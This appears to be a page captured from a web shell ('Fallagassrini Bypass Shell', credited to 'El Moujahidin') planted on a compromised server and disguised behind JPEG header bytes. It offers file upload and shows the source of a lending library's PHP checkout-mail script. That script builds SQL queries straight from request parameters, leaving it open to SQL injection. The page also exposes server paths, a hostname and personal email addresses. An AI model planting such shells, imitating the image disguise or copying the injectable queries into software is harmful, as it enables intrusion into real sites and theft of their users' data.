JFIF;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 C  !"$"$C$^" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? C^",k8`98?þ. s$ֱ$Xw_Z¿2b978%Q}s\ŴqXxzK1\@N2<JY{lF/Z=N[xrB}FJۨ<yǽw 5o۹^s(!fF*zn5`Z}Ҋ">Ir{_+<$$C_UC)^r25d:(c⣕U .fpSnFe\Ӱ.չ8# m=8iO^)R=^*_:M3x8k>(yDNYҵ/v-]WZ}h[*'ym&e`Xg>%̲yk߆՞Kwwrd󞼎 r;M<[AC¤ozʪ+h%BJcd`*ǎVz%6}G;mcՊ~b_aaiiE4jPLU<Ɗvg?q~!vc DpA/m|=-nux^Hޔ|mt&^ 唉KH?񯣾 ^]G\4#r qRRGV!i~眦]Ay6O#gm&;UV BH ~Y8( J4{U| 14%v0?6#{t񦊊#+{E8v??c9R]^Q,h#i[Y'Š+xY佑VR{ec1%|]p=Vԡʺ9rOZY L(^*;O'ƑYxQdݵq~5_uk{yH$HZ(3 )~G Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/easwari/www/llm/

Linux 141.162.178.68.host.secureserver.net 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Upload File :
Current File : /home/easwari/www/llm/mail_checkout.php

<?php 
include('is_autheticated.php');

$text = trim($_POST['book_code']); // remove the last \n or whitespace character

$textAr = explode("\n", $text);

$textAr = array_filter($textAr, 'trim'); // remove any extra \r characters left behind

function getmember_id($member_code)
{
$ret=mysql_fetch_row(mysql_query("select id from members where member_code='".$member_code."'"));
return $ret[0];
}

function getmember_name($member_code,$no)
{
$ret=mysql_fetch_row(mysql_query("select member_name,mail_status,branch from members where member_code='".$member_code."'"));
if($no==1)
return $ret[0];
if($no==2)
return $ret[1];
if($no==3)
return $ret[2];
}

function getcheck_in($b_code)
{
$ret=mysql_fetch_row(mysql_query("select check_in_date from book_receipt where bar_code='".$b_code."'"));
return $ret[0];
}

function getcheck_out($b_code)	
{
$ret=mysql_fetch_row(mysql_query("select check_out_date from book_receipt where bar_code='".$b_code."'"));
return $ret[0];
}

function getbook_name($book_id)
{
$ret=mysql_fetch_row(mysql_query("select book_name from book where id='".$book_id."'"));
return $ret[0];
}

function getmember_email($member_code)
{
$ret=mysql_fetch_array(mysql_query("select emailid from members where member_code='".$member_code."'"));
return $ret[0];
}




$member_code=$_REQUEST['membercode'];
$branch=$_REQUEST['branch'];
$member_id=getmember_id($_REQUEST['membercode']);
$member_name=getmember_name($_REQUEST['membercode'],1);
$sta_m=getmember_name($_REQUEST['membercode'],2);
$member_b=getmember_name($_REQUEST['membercode'],3);
//$branch='6';
//$member_id='21041';
//$member_name='Ganesh';
//$member_code='S3069';
$mem_email=getmember_email($_REQUEST['membercode']);
$old_due_amount=$_REQUEST['old_due_amount'];
$reading_charge=$_REQUEST['reading_charge'];
$late_charges=$_REQUEST['late_charges'];
$discount=$_REQUEST['discount'];
$due=$_REQUEST['due'];
$other_payment=$_REQUEST['other_payment'];
$total_payment=$_REQUEST['total_payment'];
$paid_amount=$_REQUEST['paid_amount'];
$new_due_amount=$_REQUEST['new_due_amount'];


foreach ($textAr as $line) {

  $books=$books."','".$line;

} 

/*$sql3="select count(distinct(book_id)) from  `check_out_in_history` where member_id='".$member_id."' and branch='".$branch."' and status='0' and check_out_date=date(Now())";*/
$sql="select * from check_out_in_history where member_id='".$member_id."' and branch='".$branch."'";
$source=mysql_query($sql);
$step=mysql_fetch_array($source);
$bar_c=$step['book_bar_code'];
$book_name=getbook_name($step['book_id']);		
$check_in=getcheck_in($step['book_bar_code']);	
$check_out=getcheck_out($step['book_bar_code']);

$sql1="SELECT COUNT(DISTINCT(book_id)) AS TOT FROM  `check_out_in_history` WHERE member_id = '".$member_id."' AND check_out_date = DATE(NOW()) AND status='0'";
$source1=mysql_query($sql1);
$step1=mysql_fetch_array($source1);


$due="SELECT * FROM `reading_charge` WHERE `member_id`='".$member_id."' AND `created_on` =DATE(NOW()) AND R_TIMESTAMP=(SELECT MAX(R_TIMESTAMP) FROM `reading_charge` WHERE  `member_id`='".$member_id."' AND `created_on` =DATE(NOW()))";
$due_source=mysql_query($due);
$due_step=mysql_fetch_array($due_source);

$sql_b="select * from branches where id='".$member_b."'";//echo $sql_b;
$source_b=mysql_query($sql_b);
$step_b=mysql_fetch_array($source_b);
/*$user_email = 'shanmugamkani1994@gmail.com';*/



if($sta_m == 1)	
{
$user_email = 'support@easwarilibrary.in';							
$subject = 'Dear Mr./Ms. '.$member_name.'';
//$to = 'ganeshadroitz@gmail.com';
$to = $mem_email;
$eswari = 'Warm Greetings from  Easwari Lending Library !!!';
//$ccarr = 'damemember@gmail.com';
//$to = 'shanmugamkani1994@gmail.com';
	/*$body = '<table><thead><tr><th>S No</th><th>Bar Code</th><th>Book Name</th><th>Member Name</th><th>Check In Date</th><th>Check Out Date</th><th>Old Due Amount</th><th>Reading Charge</th><th>Late Charge</th><th>Discount</th><th>Due</th><th>Other Payment</th><th>Total Payment</th><th>Paid Amount</th><th>New Due Amount</th></tr></thead>';
	

						     $sql="select * from check_out_in_history where member_id='".$member_id."' and branch='".$branch."'";
							 $source=mysql_query($sql);
								$i=0;
								?>
                                <?php
								while($step=mysql_fetch_array($source))
								{
								$month=get_month($step['book_id']);
								$i=$i+1;
								?> 
                                <tr class="gradeA">
                                  <td><?php echo $i;?></td>
                                  <td><?php echo $step['book_bar_code'];?></td>
			                      <td><?php echo getbook_name($step['book_id']);?></td>
								  <td><?php echo $member_name;?></td>
								  <td><?php echo getcheck_in($step['book_bar_code']);?></td>
								  <td><?php echo getcheck_out($step['book_bar_code']);?></td>
                                  <td><?php echo $old_due_amount;?></td>
                                  <td><?php echo $reading_charge;?></td>
                                  <td><?php echo $late_charges;?></td>
                                  <td><?php echo $discount;?></td>
								  <td><?php echo $due;?></td>
								  <td><?php echo $other_payment;?></td>
								  <td><?php echo $total_payment;?></td>
								  <td><?php echo $paid_amount;?></td>
								  <td><?php echo $new_due_amount;?></td>
                                 </tr>
			                    	<?php 
									}
   $mail->Body = $body.'</table>';
    $msg ="$mail";*/
	
$headers  = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
//$user_email1 = 'ganeshadroitz@gmail.com';
// Create email headers
$headers .= 'From: '.$user_email."\r\n".
    'Reply-To: '.$user_email."\r\n" .
    'X-Mailer: PHP/' . phpversion();

$message = '<html><body>';
$message .= '<p style="font-size:22px;">Check Out</p>';
$message .= '<p style="font-size:16px;">Dear Mr./Ms. '.$member_name.'('.$member_code.')</p>';
$message .= '<p style="color:#080;font-size:16px;">Warm Greetings from  Easwari Lending Library !!!</p>';
$message .= '<p style="font-size:16px;">We confirm that you have taken the books through our team member and request you to return the books on or before due date.</p>';
$message .= '<p style="font-size:16px;">Total Number of Books Taken:'.$step1['TOT'].'</p>';
$message .= '<p style="font-size:16px;">Old Due:'.$due_step['old_due_amount'].'</p>';
/*$message .= '<p style="font-size:16px;">Reading Charges:'.$due_step['reading_charge'].'</p>';*/
$message .= '<p style="font-size:16px;">Total Amount:'.$due_step['total_payment'].'</p>';
$message .= '<p style="font-size:16px;">Paid Amount:'.$due_step['paid_amount'].'</p>';
$message .= '<p style="font-size:16px;">Due Amount:'.$due_step['new_due_amount'].'</p>';
$message .= '<p style="font-size:16px;">You can keep in touch with our team.</p>';

$message .= '<p> <br /> </p>';
$message .= '<p> <br /> </p>';
$message .= '<p style="font-size:16px;">With Thanks & Regards.</p>';
$message .= '<p style="font-size:16px;">Easwari Lending Library -Customer Care.</p>';
$message .= '<p style="font-size:16px;">Telephone: 044-'.$step_b['phone_number'].'</p>';
$message .= '<p style="font-size:16px;">Mobile: '.$step_b['mobile_number'].'</p>';
$message .= '<p style="font-size:16px;">Email: support@easwarilibrary.in</p>';
$message .= '<p style="font-size:16px;">Website: easwarilibrary.in</p>';
$message .= '</body></html>';      

       if(mail($to, $subject, $message, $headers, $from ))
        {
            echo 'Your mail has been sent successfully.';
        }
        else
        {
             echo 'Unable to send email. Please try again.';
        }
}
		/*$c_date= date('Y-m-d', strtotime("+2 days"));
		$sql2="select * from check_out_in_history where expected_check_in_date='".$c_date."'";
        $source2=mysql_query($sql2);
		while($step2=mysql_fetch_array($source2))
        {
		$memberId= $step2['member_id'];
		$bar_c = $step3['book_bar_code'];
		$check_in = $step3['expected_check_in_date'];		
		$check_out = $step3['check_out_date'];
		
		$sql3="select * from members where id='".$memberId."'";
        $source3=mysql_query($sql3);
		$step3=mysql_fetch_array($source3);
		
		$membermail=$step3['emailid'];
		$member_name=$step3['member_name'];
		$branch=$step3['branch'];
		$myemail1 = 'shanmugamkani1994@gmail.com';								
        $subject = 'Book Date Reminder';
        //$email = $membermail;
        $email = 'shanmugamkani1994@gmail.com';
		$header = "From: $email\r\nReply-To: $email\r\n";

        $message = "Name: $member_name

			Branch:$branch
			
			Bar Code:$bar_c
			
			Check In Date:$check_in
			
			Check Out Date:$check_out
			

			";
			
	 if(mail($myemail1, $subject, $message, $header))
        {
            $status = "Thank you for your Buzz !, We will contact shortly.<br><br>";
        }
        else
        {
            $status = "There was a problem sending your Buzz, please try again later.<br><br>";
        }
		}*/
    
 ?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net